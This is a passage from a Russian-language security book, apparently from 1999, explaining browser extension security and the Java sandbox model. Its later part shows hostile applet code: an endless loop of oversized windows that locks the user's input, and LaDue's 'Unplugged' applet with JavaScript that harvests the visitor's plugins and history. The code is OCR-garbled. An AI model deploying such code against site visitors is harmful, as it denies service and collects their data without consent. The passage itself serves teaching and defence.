отказа в обслуживании. Здесь также появляется и четвертый тип атаки, который можно с некоторой натяжкой
рассматривать как частный случай отказа в обслуживании с точки зрения системы человек - компьютер, - атака
на самого пользователя, выражающаяся в создании условий, неблагоприятных для работы (раздражающие
звуки, моргание экрана и т. п.).

  Безопасность браузеров

  Популярные браузеры в своем развитии уже вышли далеко за рамки простых средств отображения
гипертекстовых документов. HTML (HyperText Markup Language - язык разметки гипертекстовых документов)
изначально был ориентирован исключительно на отображение структурированного текста. Имелась также
возможность включить в документ отдельные управляющие элементы для 'передачи информации на сервер,
который после этого мог вернуть клиенту результаты обработки, то есть чисто клиент-серверное решение. Этим
и исчерпывались интерактивные возможности Web. По мере развития Сети выяснилось, что ее выразительных
средств становится недостаточно для удовлетворения растущих запросов пользователей, и HTML стал включать
в себя средства для работы с таблицами, графикой, звуком.

  Кроме того, не все устраивало и разработчиков Web-приложений -иногда им хотелось бы иметь дело с более
интеллектуальным клиентом, способным не только передавать на сервер заполненную форму. Возникла
потребность во вспомогательных приложениях клиентской стороны. При разработке этих приложений
немедленно всплывают многочисленные проблемы, II безопасность здесь стоит далеко не на последнем месте.

  Достаточно сказать, что многие прорехи в системе безопасности браузеров, обнаруженные в последнее время,
связаны именно с элементами, расширяющими функциональность клиентов.

  Наибольшую популярность завоевали следующие подходы к реализации вспомогательных приложений для
клиентской стороны:

  
 подключаемые модули (plug-ins);
  
 элементы ActiveX; ' средства подготовки сценариев JavaScript, VBScript,
Dynamic HTML;
  
 приложения Java. Рассмотрим их подробнее.

  Использование подключаемых модулей получило в свое время широкое распространение в связи с
популярностью браузера Netscape Navigator, предоставляющего такую возможность. С точки зрения
безопасности этот подход не выдерживает никакой критики: не обеспечивается ни защита от сбоев, ни защита
от злонамеренных действий, предпринимаемых модулем, который имеет полный доступ ко всем ресурсам
системы пользователя. Все строится исключительно на доверии к автору модуля,
Управляющие элементы ActiveX - решение компании Microsoft, основанное на вездесущей технологии СОМ
(Component Object Model - модель компонентных объектов), перенесенной на этот раз в Internet. Проблема
безопасности решается с помощью введения института сертификатов -объекты ActiveX подписываются
цифровой подписью автора, заверенной независимой организацией (например, VeriSign Inc.). Таким образом,
работа с ActiveX отличается от работы с подключаемыми модулями Netscape только тем, что доверие к автору
управляющего элемента может быть под^ креплено авторитетом солидной организации. В то же время эта
подпись гарантирует лишь возможность определения авторства объекта, а вовсе не его благонадежности,
При загрузке объекта ActiveX поведение браузера зависит от настроек его системы безопасности - как
подписанные, так и неподписанные (либо заверенные неизвестной организацией) объекты могут быть либо
автоматически загружены или отвергнуты, либо предъявлены пользователю, с тем чтобы дальнейшее решение
принимал он. В Internet Explorer также можно задать разные настройки для различных зон безопасности - для
локальной сети, Internet, отдельных подозрительных хостов, и наоборот, достойных особого доверия.

  JavaScript, VBScript и т. п. представляют собой упрощенные языки подготовки сценариев, код которых
встраивается непосредственно в html-файл и выполняется браузером. Они непригодны для реализации серьез-
ных приложений, в них отсутствуют средства для работы с файлами, сетевого взаимодействия и т. д. Но они
широко используются во вспомогательных целях, в качестве средства первоначальной обработки результатов,
для оформления, <оживления> html-документов и т. д. Казалось бы, что ограничения, присущие этим языкам,
делают их абсолютно безопасными, в действительности же львиная доля ошибок в браузерах связана именно с
реализацией этих простейших средств разработки.

  Безопасность Java-приложений
Java - язык, разработанный Sun Microsystems изначально для приложений бытовой электроники и позднее
перенесенный в Internet, что стало для него вторым рождением. Различают обычные Java-приложения и аппле-
ты, предназначенные для загрузки по сети и выполнения в окне браузера.

  Вопросы безопасности Java-апплетов заслуживают того, чтобы о них говорить отдельно, поскольку это
единственное распространенное средство разработки клиентских приложений, в котором решение проблемы
безопасности предлагается уже на уровне архитектуры.

  Основным достоинством Java-приложений является независимость от клиентской платформы. В отличие от
традиционных приложений, транслирующихся в исполняемые коды процессора, Java-приложения
транслируются в так называемый байт-код, интерпретируемый в дальнейшем виртуальной Java-машиной. При
этом байт-код независим от платформы, на которой он в дальнейшем будет выполняться, - достаточно, чтобы
для этой платформы существовала Java-машина. Поскольку большинство основных функций реализовано на
уровне виртуальной Java-машины, это приводит к существенному уменьшению размеров байт-кода, что
является как достоинством, так и недостатком Java-приложений. Так как байт-код интерпретируется
виртуальной машиной, производительность Java-приложений уступает производительности традиционных
откомпилированных программ. Частично с этим удается бороться, применяя компиляторы времени исполнения
(JIT -just in time compilers), осуществляющие компиляцию приложения при его загрузке в <родной> для данного
процессора код. Также возможен вызов функций, реализованных на других языках программирования (С, C++)
и откомпилированных для данной платформы, - так называемый native code (родной код). Он применяется при
реализации наиболее критичных ко времени исполнения фрагментов кода.

  Другим достоинством Java-приложений является защищенность. Во-первых, сам язык способствует
написанию более надежных и устойчивых к сбоям программ. Помимо строгой типизации, управления доступом,
работы с исключениями, знакомых программистам и по C++, в Java добавлена автоматическая <сборка мусора>
(освобождение неиспользуемой памяти), проверка на выход за границы массива, возможность указать, что
данный метод или объект не может быть изменен или переопределен. В языке нет указателей и
переопределенных операторов.

  Все эти нововведения помогают создавать более безопасный код. Рассмотрим теперь особенности Java,
вынуждающие писать безопасный код.

  По мере развития Java развивалась и система безопасности. BJDK 1.0 (Java Development Kit) основу системы
безопасности составляли три компонента - Verifier (верификатор), ClassLoader (загрузчик классов) и
SecurityManager (менеджер безопасности). Эта модель известна под названием sandbox (песочница), в ней
выполняются Java-приложения, загруженные из сети (рис. 10.1).

  Для полноценного функционирования модели безопасности каждый ее компонент должен работать
безошибочно, поскольку только четкая совместная работа компонентов обеспечивает контроль над
приложением во время загрузки и исполнения кода.

  Первый рубеж обороны - верификатор, проверяющий загружаемый байт-код па корректность, так как у нас
нет никакой гарантии, что загружаемый код был получен в результате работы компилятора Java, а не
подправлен


  вручную или не сгенерирован специальным <враждебным> компилятором. После того как код прошел
верификацию, гарантируется, что файл класса имеет корректный формат, параметры всех операций имеют пра-
вильный тип, в коде не происходит некорректных преобразований типов (например, целого числа в указатель),
нет нарушений доступа и т. п, Таким образом, проверяется все, что только можно проверить до начала
исполнения программы. Верификатор встроен в виртуальную машину и недоступен из Java-программы.

  Загрузчики классов определяют, когда и каким образом классы могут быть добавлены в работающую
систему. Частью их работы является защита важных составляющих системы, например запрет на загрузку
поддельного менеджера безопасности. Они выполняют две основные функции -собственно загрузку байт-кода (с
локального диска, по сети, из области памяти и т. д.), определение namespaces (пространства имен) для различ-
ных классов и способов их взаимодействия (отделяя, к примеру, локальные классы от загруженных по сети).

  Есть два вида загрузчиков - primordial (первичный) и Class Loader Object (реализованный в виде объекта).

  Первичный существует в единственном экземпляре и является составной частью виртуальной машины. Он
занимается загрузкой доверенных классов (обычно находящихся на локальном диске). Загрузчик второго типа
представляет собой экземпляр обычного Java-класса, унаследованного от абстрактного класса
java.lang.ClassLoader. С его помощью можно осуществить загрузку класса по сети либо динамическое
конструирование класса приложением. Метод defineClass преобразует массив байтов в экземпляр класса Class, а
экземпляры нового класса создаются с помощью метода newinstance класса Class. Если метод созданного класса
ссылается на другие классы, виртуальная машина вызывает метод loadClass его загрузчика, передавая ему имя
запрашиваемого класса. При создании экземпляра класса или вызове
любого из его методов потребуется также загрузка его предка и других используемых им классов, за это
отвечает функция resolveClass.

  Примерная реализация класса NetworkClassLoader может выглядеть следующим образом:

  class NetworkClassLoader {
String host; int port;
Hashtable cache = new Hashtable( );
NetworkClassLoader(String aHost, int aPort)

                                        {

host = aHost; port = aPort; }
private byte loadCiassData(String name)[]

                                        {

// собственно загрузка класса

                                        }

public synchronized Class loadClass(String name, boolean resolve)

                                        {

Class с = cache.get(name);
// Хэш-таблица используется для исключения
if (с == null)
// повторной загрузки класса

                                        {

// и формирования пространства имен byte data[] =
loadClassData(name);
c=defineClass(data, 0, data.length);
cache, put(name, c);

                                        }

if (resolve)
resolveClass(c):

  return c;

                                        }


                                        }

ClassLoader loader = new NetworkClassLoader(host, port);
Object main = loader.loadClass("Main", true).newlnstance();
На самом деле загрузчик сначала должен обратиться к пространству имен первичного загрузчика и затем,
лишь не обнаружив там запрашиваемого класса, продолжить поиск по пространству имен ссылающегося класса,
чтобы предотвратить подделку встроенных классов. Причем загрузчик работает совместно с менеджером
безопасности, определяющим, можно ли загружать данный класс. Весь алгоритм действий загрузчика обычно
выглядит следующим образом:

  1. Определить, не был ли загружен этот класс раньше, и, если да, вернуть его.

  2. Проконсультироваться с первичным загрузчиком на предмет существования внутреннего класса с этим
именем.

  3. Запросить у менеджера безопасности разрешение на загрузку данного класса.

  4. Считать файл класса в виде массива байтов - по сети, с диска и т. п.

  5. Создать экземпляр класса Class.

  6. Загрузить используемые классы.

  7. Передать класс верификатору на проверку. Загрузчик является существенным элементом модели
безопасности, поэтому писать загрузчики следует особо осторожно - малейшая ошибка может привести к
полному краху всей системы безопасности. В нормальной ситуации апплеты не имеют возможности
устанавливать свои загрузчики.

  Класс SecurityManager отвечает за политику безопасности приложения. Он позволяет приложению перед
выполнением потенциально опасной операции выяснить, выполняется ли она классом, загруженным первичным
загрузчиком, либо с помощью некоторого ClassLoader (к последнему, особенно при загрузке из сети, доверия
должно быть гораздо меньше). Далее менеджер безопасности может определить, разрешить ли эту операцию
или наложить на нее вето. Класс SecurityManager выявляет ряд методов, начинающихся со слова 
(checkDelete, checkExec, checkConnect и т. и.), которые вызываются всеми методами стандартной библиотеки,
выполняющими потенциально опасные действия (работа с файлами, сетевыми соединениями и т. п.). Выглядит
это обычно следующим образом: SecurityManager security = System. getSecurityManager(), if (security != null) {
security. checkXXX(argument, . . . ); }
При разрешении операции функция check просто возвращает управление, при запрещении - возбуждает
исключение SecurityException. Реализация по умолчанию для любого метода check* предполагает, что вызывае-
мый метод не имеет права на выполнение данной операции. В обязанности менеджера безопасности,
работающего с апплетами, входит защита от загрузки новых загрузчиков классов, защита потоков и групп
потоков друг от друга, контроль за обращением к системным ресурсам, к ресурсам виртуальной машины, к
сетевым соединениям и т. п.

  Текущий менеджер безопасности устанавливается с помощью функции System.setSecurityManager, причем,
если менеджер безопасности уже был установлен, эта функция также вызывает SecurityException.

  BJDK 1.1 системабезопасностиполучиладальнейшееразвитие(рис. 10.2). Принципиально ничего не
изменилось, но была добавлена возможность цифровой подписи классов - аналог сертификатов в ActiveX.

  Теперь можно решить, заслуживает ли подписанный удаленный код полного доверия, и не накладывать на него
стандартные ограничения.


                                          

Побочным эффектом введения этого механизма стало появление в составе стандартной библиотеки Java
криптографических функций - Crypto API. Модель безопасности JDK 1.1 отличалась черно-белым взглядом на
мир - мы либо полностью доверяем загруженному коду, либо нет. В Java 2 (JDK 1.2), вышедшей в декабре 1998,
была представлена новая гибкая модель безопасности, основанная на привилегиях и правах доступа (рис. 10.3).


                                          

Дополнительно к существующим классам в Java 2 добавились:

  
 новый загрузчик классов java.security.SecureClassLoader;

 класс java.security. Permission, наследники которого используются для определения прав доступа к различным
ресурсам, и класс java.security.PermissionCollection, позволяющий группировать права доступа. За доступ к
файлам отвечает java.io.FilePermission, к сети -java.net.SocketPermission, к графическим ресурсам -
java.awt.AWTPermission и т. д.;

 класс java.security.AccessController, используемый для контроля доступа FilePermission р = new
FilePermission("/tmp/junk", "read"), и AccessController.checkPermission(p);

 класс java.security.ProtectionDomain, позволяющий объединить классы, которым предоставляются одинаковые
права доступа;

 класс java.security.Polidy, отвечающий за политику безопасности. В каждый момент активен только один
объект Policy, считывающий настройки из файла конфигурации. В этом файле можно описать, какие права
доступа связаны с той или иной подписью и/или местом расположения файлов:

  grant CodeBase "http://www.somehost.corn/*", signedBy "Signer" {
permission java.io.FilePermission "/tmp/*", "read"; permission java.io.SocketPermission "*", "connect"; };
Новая модель безопасности имеет следующие особенности:

  
 настраиваемый контроль доступа, дающий возможность указать, что код, обладающий определенными
правами доступа, имеет право на определенные действия. Этого можно было добиться и раньше, с помощью
создания специализированных менеджеров безопасности и загрузчиков классов, новая же архитектура
значительно упростила такую процедуру;

 легко конфигурируемая политика безопасности. Опять же ключевое слово здесь - <легко>;

 возможность легкого расширения множества прав доступа, то есть фактически контролируемых действий.

  Если раньше это требовало введения новых методов check* в SecurityManager, теперь достаточно описать еще
одного наследника класса java.security.Permission;

 усиление контроля за всеми Java-приложениями: в настоящее время никакой код не считается безопасным
априори. Локальный код мо-
жет быть подвержен тем же проверкам, что и код апплета, хотя, конечно, никто не мешает ослабить этот
контроль с помощью настроек. Таким образом, схема работы довольно гибкая и позволяет эффективно
реализовать любую политику безопасности.

  Суровая действительность
До сих пор мы говорили о том, каким образом системы безопасности клиентских решений выглядят в
идеальном случае, как это должно работать. Реально же большая часть проблем безопасности пользователей
связана именно с ошибками в исполнении этих стройных схем.

  Апплеты, мешающие работе
Java-приложения зависят от существующей для данной платформы виртуальной Java-машины. Java-машины
реализованы для всех наиболее распространенных платформ, а также входят в состав самых популярных бра-
узеров, но они достаточно ресурсоемки и зачастую довольно нестабильны. Кроме того, остаются проблемы
совместимости - поскольку Java изначально проектировалась для написания многоплатформенных приложений,
в нее преимущественно входили элементы, существующие на всех платформах, что привело к некоторой
аскетичности доступных средств. Отдельные разработчики расширяют возможности виртуальных машин для
конкретной платформы, и получается, что Java-приложение, использующее все эти возможности, утрачивает
способность запускаться на Других платформах.

  Для начала рассмотрим ряд атак, прекрасно функционирующих в рамках существующей модели безопасности
(на сегодняшний день - середина 1999 года - для большинства пользователей популярных браузеров таковой
является схема из JDKI.I). Java достаточно хорошо справляется с защитой от нарушения целостности системы,
но вот с оставшимися видами атак у нее явные проблемы. Большинство представленных здесь примеров
прекрасно функционирует в Netscape Communicator 4.5. Internet Explorer 4.01 справляется с некоторыми из них
намного лучше, но и у него есть <любимые мозоли>. Так, один из вредоносных апплетов, приводящий к
зависанию Windows 9х, активно использовал расширения Java от Microsoft, позволяющие работать напрямую с
библиотеками DirectX.

  Проще всего создаются апплеты, затрудняющие работу пользователя. К примеру, мы открываем какую-то
WWW-страницу и вздрагиваем от несущегося из колонок раздражающего звука. Нами овладевает естественное
желание немедленно уйти с этой страницы, но тут-то и выясняется, что
звук никуда не делся и будет продолжаться до тех пор, пока мы не выйдем из браузера. А на дворе 2 часа ночи, в
соседнем окне скачивается третий мегабайт 10-мегабайтного архива, сервер не поддерживает докачки и т. п. И
вся проблема - в том, что автор апплета случайно или по злому умыслу пропустил код, выключающий звук при
остановке апплета.

  Мощное средство борьбы с пользователем - потоки. Они вовсе не обязаны остановиться при уходе со
страницы, с которой был загружен апплет. В сочетании с установкой приоритета MAX_PRIORITY и обра-
ботчика исключительной ситуации ThreadDeath можно получить весьма живучего вредителя, который, к
примеру, начнет следить за всеми запускаемыми апплетами и останавливать их потоки.

  Еще один вариант сценария отказа в обслуживании (Denial of Service -DoS): открываем поток с большим
приоритетом и начинаем искать в нем простые числа в диапазоне от 1 до 10'°°, не забывая насвистывать люби-
мую мелодию, либо запускаем бесконечный цикл и создаем в нем окна размером, например, миллион на
миллион пикселей (клавиатура и мышь у клиента будут заблокированы очень скоро):

  while(true)

                                        {

try

                                        {

littleWindow = new bigFrame("Hello! "),
littleWindow. resize( 1000000, 1000000); 

littleWindow.ffiove(-1000, -1000);
littleWindow.showO;

                                        }

catch (OutOfMemoryError o)

                                        {

repaintO;

                                        }


                                        }

class bigFrame extends Frame

                                        {

Label 1:

  bigFrame(String title)

                                        {

supe r (tit ie);
setLayout(newGridLayout(1, 1));
Canvas whiteCanvas = new Canvas();
whiteCanvas.setBackground(Color.white):

  add (whiteCanvas);

                                        }


                                        }

Впрочем, DoS-атаки не слишком интересны, пишутся без особых усилий и порой без осознанного участия
автора апплета. Чтобы убедиться в этом, достаточно походить по иным перегруженным апплетами страницам. У
окон сверхбольшого размера есть еще один интересный аспект -в этом случае на экран просто не помещается
стандартное сообщение о том, что пользователь видит окно, созданное апплетом. А здесь уже открываются
широкие возможности для социальной инженерии (см. главу 2).

  Наконец, мы можем воспользоваться потоками, чтобы заставить посетителя немного поработать на нас.

  Конечно, апплет имеет право установить сетевое соединение только с хостом, с которого он был запущен, но
нам большего и не надо. Пишем сервер, способный обмениваться информацией с апплетом, запускаем его на
том же хосте - и все, распределенная система поиска очередного простого числа, поиска опровержения большой
теоремы Ферма или просто подбора паролей готова к работе. Можно даже не изобретать какой-то свой
протокол, а воспользоваться готовыми - получать очередное задание по http, отправлять результаты по SMTP,
заодно узнать побольше о пользователе. Возможности Java в этом плане ограничены, но в нашем распоряжении
есть JavaScript, на котором можно написать, к примеру, код, собирающий информацию об установленных у кли-
ента дополнительных модулях и передающий ее апплету:

  /* Unplugged, java by Mark D. LaDue */ Л April 15, 1998 */ Л Copyright (с) 1998 Mark D. LaDue */ import
netscape.applet.*;
import netscape.javascript.*;
public class Unplugged extends java.applet.Applet implements Runnable{
Thread controller = null;
JSObject jso = null:

  int numplugs = 0;
String npname = null,
String[] plugs = null;
int histlen = 0;
public void initO {
jso = JSObject.getWindow(this);

                                        }

public void startO {
if (controller == null) {
controller = new Thread(this);
cent roller, start 0:


                                         }


                                        }

public void stopO {}
public void run() {
Control. showConsoleO;
numplugs = (new Float((jso.eval("pcount()")).toString())).intValue();
System.out. println("\nTotal number of plugins: " + numplugs + "\n");
plugs = new String[numplugs];
for (int i = 0; i < numpiLigs; i++) {
plugs[i] = (String) jso.eval("nextPlug()");
System.out.printInC'Plugin " + (i+1) + ": " + plugs[i] + "\n");

                                        }

histlen = (new Float((jso.eval("hcount()")).toString())).intValue(),
System, out. printin ("Total number of history entries: " + histlen);

                                        }


                                        }

Для демонстрации нужно включить в html-файл следующий код:

  < SCRIPT language=javascript>
/* ^ удалите этот пробел!!!*/

navigator, plugins. refresh(true);
pent = 0;
hcnt = 0;
function pcount(){
var pc = navigator, plugins. length;
return pc;

                                        }

function nextPlugO {
var np = navigator, plugins[pcnt]. filename;
pcnt++;
return np;

                                        }

function hcountO {
var he = history, length;
return he;

                                        }


                                    < /SCRIPT>
  /*                                 ^ удалите этот пробел!*/